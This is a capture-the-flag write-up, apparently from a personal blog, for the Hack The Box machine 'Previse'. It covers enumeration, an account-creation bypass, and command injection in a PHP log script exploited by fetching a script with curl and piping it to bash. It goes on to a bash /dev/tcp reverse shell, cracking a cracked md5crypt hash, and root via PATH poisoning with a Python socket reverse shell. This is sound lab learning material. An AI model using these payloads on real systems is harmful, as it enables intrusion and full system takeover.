Previse

Summary

Very cool and straightforward box. Great to learn new skills in enumeration with tools like BurpSuite, reverse shells, path poisoning shell stabilisation etc.. It’s great for beginners! I hope you will learn something new and advance your knowledge!

Enumeration

NMAP

We have found two widely known open ports.

┌──(root💀kali)-[~]
└─# nmap -sV -sC -T4 -p- -v previse.htb

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
|   256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_  256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: B21DD667DF8D81CAE6DD1374DD548004
| http-title: Previse Login
|_Requested resource was login.php
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Dirbuster on port 80

The discovery of the found directories allowed me to analyse them in burp.

BurpSuite:

Account creation page:

Let’s try to create one. It says I need to provide a username, even though such is provided. Perhaps I have to change something…

Files on previse.htb. Discovered a siteBackup.zip file and a username “newguy”.

Additionally download.php allows us to download files but also, we see that there is a possible attack vector in “?file=” .

Tried downloading the file with no success through the use of curl.

In the status file we can see that there is 1 administrator account and 1 file (probably the zip backup file). Additionally, mysql is online and connected – I have to investigate that as well. Tried connecting to it and got an error because I have to be locally on to the machine in order to be able to connect to the database: “ERROR 2002 (HY000): Can’t connect to MySQL server on ‘10.10.11.104’ (115)”

Hydra on login.php

I have found a username, perhaps I could try to bruteforce it with hydra. The bruteforce was unsuccessful, no password was found.

┌──(root💀kali)-[~]
└─# hydra -l newguy -P /usr/share/wordlists/rockyou.txt 10.10.11.104 http-post-form "/login.php:username=newguy&password=^PASS^:Invalid Username or Password"                                                                          

[DATA] attacking http-post-form://10.10.11.104:80/login.php:username=newguy&password=^PASS^:Invalid Username or Password

Recuperate, rethink, adapt

At this point I had to rethink what I am doing as I was stuck on foothold for quite a while. Decided to go back on account creation and try to modify the POST request body.
Finally, I was able to create a new account:

Backup Zip

At this point, I logged in as the test123 user we created and downloaded the backup.zip file.

The zip contained the following files:

┌──(root💀kali)-[~/Downloads/siteBackup]
└─# ls
accounts.php  config.php  download.php  file_logs.php  files.php  footer.php  header.php  index.php  login.php  logout.php  logs.php  nav.php  status.php

Analyzing them 1 by 1, I found mysql credentials in config.php. This I will be using once I get a foothold onto the machine.

┌──(root💀kali)-[~/Downloads/siteBackup]
└─# cat config.php  
<?php

function connectDB(){
    $host = 'localhost';
    $user = 'root';
    $passwd = 'EDITED';
    $db = 'previse';
    $mycon = new mysqli($host, $user, $passwd, $db);
    return $mycon;
}

?>

Tried sshing with the same credentials but got wrong password. I kept enumerating.

┌──(root💀kali)-[~/Downloads/siteBackup]
└─# cat logs.php 
<?php
session_start();
if (!isset($_SESSION['user'])) {
    header('Location: login.php');
    exit;
}
?>

<?php
if (!$_SERVER['REQUEST_METHOD'] == 'POST') {
    header('Location: login.php');
    exit;
}

/////////////////////////////////////////////////////////////////////////////////////
//I tried really hard to parse the log delims in PHP, but python was SO MUCH EASIER//
/////////////////////////////////////////////////////////////////////////////////////

$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
echo $output;

$filepath = "/var/www/out.log";
$filename = "out.log";    

if(file_exists($filepath)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($filepath));
    ob_clean(); // Discard data in the output buffer
    flush(); // Flush system headers
    readfile($filepath);
    die();
} else {
    http_response_code(404);
    die();
} 
?>

The code is vulnerable! Within the line

$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}"); echo $output;

we see that it uses system commands and reflects them back. The delim variable is injectable so we could use it to invoke a reverse shell.

Foothold

In the above code, I have used the & operand to concatenate another system command curl to curl my reverse shell file which I am hosting with a python script and pipe the script to bash therefore I should get a reverse shell.

  1. Create your reverse shell file:
┌──(root💀kali)-[~/php-reverse-shell]
└─# nano revshell.sh
#!/bin/bash
bash -i >& /dev/tcp/YOUR IP/1234 0>&1
┌──(root💀kali)-[~/php-reverse-shell]
└─# chmod u+x revshell.sh
  1. Host the reverse shell script:
┌──(root💀kali)-[~/php-reverse-shell]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
  1. Open a netcat listener to catch the connection (also don’t forget to edit the reverse shell file to point to your IP address and specify a port as well)
┌──(root💀kali)-[~/Downloads/siteBackup]
└─# nc -nvlp 1234                                                                                                                                                                                                                     130 ⨯
listening on [any] 1234 ...
  1. Make the call by sending the requerst from burp and catch the connection
┌──(root💀kali)-[~/php-reverse-shell]
└─# nc -nvlp 1234   
listening on [any] 1234 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.104] 51000
bash: cannot set terminal process group (1494): Inappropriate ioctl for device
bash: no job control in this shell
[email protected]:/var/www/html$ 

Stabilise your shell

[email protected]:/var/www/html$ python -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'
[email protected]:/var/www/html$ export TERM=xterm
export TERM=xterm
[email protected]:/var/www/html$ ^Z
zsh: suspended  nc -nvlp 1234

┌──(root💀kali)-[~/php-reverse-shell]
└─# stty raw -echo; fg                                                                                                                                                                                                             148 ⨯ 1 ⚙
[1]  + continued  nc -nvlp 1234

[email protected]:/var/www/html$ 

Privilege Escalation

Now that I can use the terminal without constrains, I will enumerate the local directories before proceeding to mysql. Usually, we use oneliners but I have found that it is normally better to manually go through the initial folders within /var/www/html up until /var/ and if you don’t find anything proceed to automatic enumeration with find and other privesc tools. In this case tho, my curiousity led me to check /opt as well since it is where user files could be located as well.

[email protected]:/var/www/html$ cd ..
[email protected]:/var/www$ ls
file_access.log  html  out.log
[email protected]:/var/www$ cd ..
[email protected]:/var$ ls
backups  crash  local  log   opt  snap   tmp
cache    lib    lock   mail  run  spool  www
[email protected]:/var$ cd tmp
[email protected]:/var/tmp$ ls
[email protected]:/var/tmp$ cd ..
[email protected]:/var$ cd /opt
[email protected]:/opt$ ls
scripts
[email protected]:/opt$ cd scripts
[email protected]:/opt/scripts$ ls
access_backup.sh  log_process.py
[email protected]:/opt/scripts$ file access_backup.sh 
access_backup.sh: Bourne-Again shell script, ASCII text executable
[email protected]:/opt/scripts$ cat access_backup.sh 
#!/bin/bash

# We always make sure to store logs, we take security SERIOUSLY here

# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time

gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz
[email protected]:/opt/scripts$ ls -la
total 16
drwxr-xr-x 2 root     root     4096 Jul 26 18:41 .
drwxr-xr-x 3 root     root     4096 Jul 26 18:41 ..
-rwxr-xr-x 1 root     root      486 Jun  6 12:49 access_backup.sh
-rw-r--r-- 1 m4lwhere m4lwhere  320 Jun  6 12:25 log_process.py
[email protected]:/opt/scripts$ 

We have found a script called “access_backup.sh” that is owned by root and uses gzip to convert some files that serve another script we used previously on the website. We can also execute the script which will enable us to probably escalate through it later on. But first we need normal user access. Remember the mysql credentials we found?

[email protected]:/opt/scripts$ mysql -u root -p -D previse
Enter password: 

mysql> SHOW databases
    -> ;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| previse            |
| sys                |
+--------------------+

mysql> use previse
Database changed

mysql> SHOW tables;
+-------------------+
| Tables_in_previse |
+-------------------+
| accounts          |
| files             |
+-------------------+
2 rows in set (0.00 sec)

mysql> SELECT * from accounts;
+----+----------+------------------------------------+---------------------+
| id | username | password                           | created_at          |
+----+----------+------------------------------------+---------------------+
|  1 | m4lwhere | $1$🧂llol$EDITED. | 2021-05-27 18:18:36 |
|  2 | test123  | $1$🧂llol$sP8qi2I.K6urjPuzdGizl1 | 2021-11-17 09:12:13 |
+----+----------+------------------------------------+---------------------+
2 rows in set (0.00 sec)

We have gotten a password hash of the user m4lwhere. Now I have to crack it on my local kali. We see it starts with ‘$1$’ , investigating it with hashcat we see it corresponds to UNIX OS md5crypt:

The above screenshot about the help menu of hashcat provides us with an example for the usage of hashcat as well.

┌──(root💀kali)-[~]
└─# echo '$1$🧂llol$EDITED.' > to-crack.hash

┌──(root💀kali)-[~]
└─# hashcat -a 0 -m 500 to-crack.hash /usr/share/wordlists/rockyou.txt                                                                                                                                                                  3 ⨯
hashcat (v6.1.1) starting...

<snipped strings>

[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit => s

Session..........: hashcat
Status...........: Running
Hash.Name........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
Hash.Target......: $1$🧂llol$EDITED.
Time.Started.....: Wed Nov 17 05:28:25 2021 (8 secs)
Time.Estimated...: Wed Nov 17 05:43:09 2021 (14 mins, 36 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:    16236 H/s (7.22ms) @ Accel:64 Loops:500 Thr:1 Vec:8
Recovered........: 0/1 (0.00%) Digests
Progress.........: 118016/14344385 (0.82%)
Rejected.........: 0/118016 (0.00%)
Restore.Point....: 118016/14344385 (0.82%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:500-1000
Candidates.#1....: ester1 -> death7

Time.Estimated…: 14 mins, 36 secs – Time for some Asmonbald videos to kill some time watching him complaining about Activision killing his favorite game.

$1$🧂llol$EDITED.:EDITED

Session..........: hashcat
Status...........: Cracked

Now that we have the user flag, it is time to proceed to rooting the machine. I have used find to look for SETUID files. Always check for user owned files and commands that the user may run on the machine with sudo -l.

[email protected]:~$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/newgidmap
/usr/bin/chfn
/usr/bin/pkexec
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/at
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/bin/su
/bin/fusermount
/bin/umount
/bin/mount
/bin/ping

[email protected]:~$ sudo -l
[sudo] password for m4lwhere: 
User m4lwhere may run the following commands on previse:
    (root) /opt/scripts/access_backup.sh

As expected, from our previous enumeration, we see the access_backup.sh and we are now 100% sure this is de wei to root.

[email protected]:/opt/scripts$ cat access_backup.sh 
#!/bin/bash

# We always make sure to store logs, we take security SERIOUSLY here

# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time

gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz
  1. Path poison attempt 1 – partially unsuccessful. I got root, but I could not make almost any system commands. I thought I broke the PATH variable. I also tried specifying the absolute path like /bin/ls but it did not work.
[email protected]:/tmp$ echo "/bin/bash" > gzip
[email protected]:/tmp$ chmod 777 gzip
[email protected]:/tmp$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
[email protected]:/tmp$ export PATH=/tmp:$PATH
[email protected]:/tmp$ cd /opt/scripts/
[email protected]:/opt/scripts$ ls
access_backup.sh  log_process.py
[email protected]:/opt/scripts$ sudo ./access_backup.sh 
[email protected]:/opt/scripts# whoami
[email protected]:/opt/scripts# id
[email protected]:/opt/scripts# cd ..
[email protected]:/opt# cd
[email protected]:~# /bin/ls
[email protected]:~# echo $PATH
  1. Path poison attempt 2
  • Cleared the content of gzip and inserted this instead:
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.0.0.0(CHANGE IP to your ip)",8000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  • I usually find this to be really useful website when it comes to reverse shells: https://sentrywhale.com/documentation/reverse-shell
  • Listen for a connection on port 8000 with a netcat listener:
┌──(root💀kali)-[~]
└─# nc -nvlp 8000                                                                                                                                                                                                                       1 ⨯
listening on [any] 8000 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.104] 53964
# id
uid=0(root) gid=0(root) groups=0(root)

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: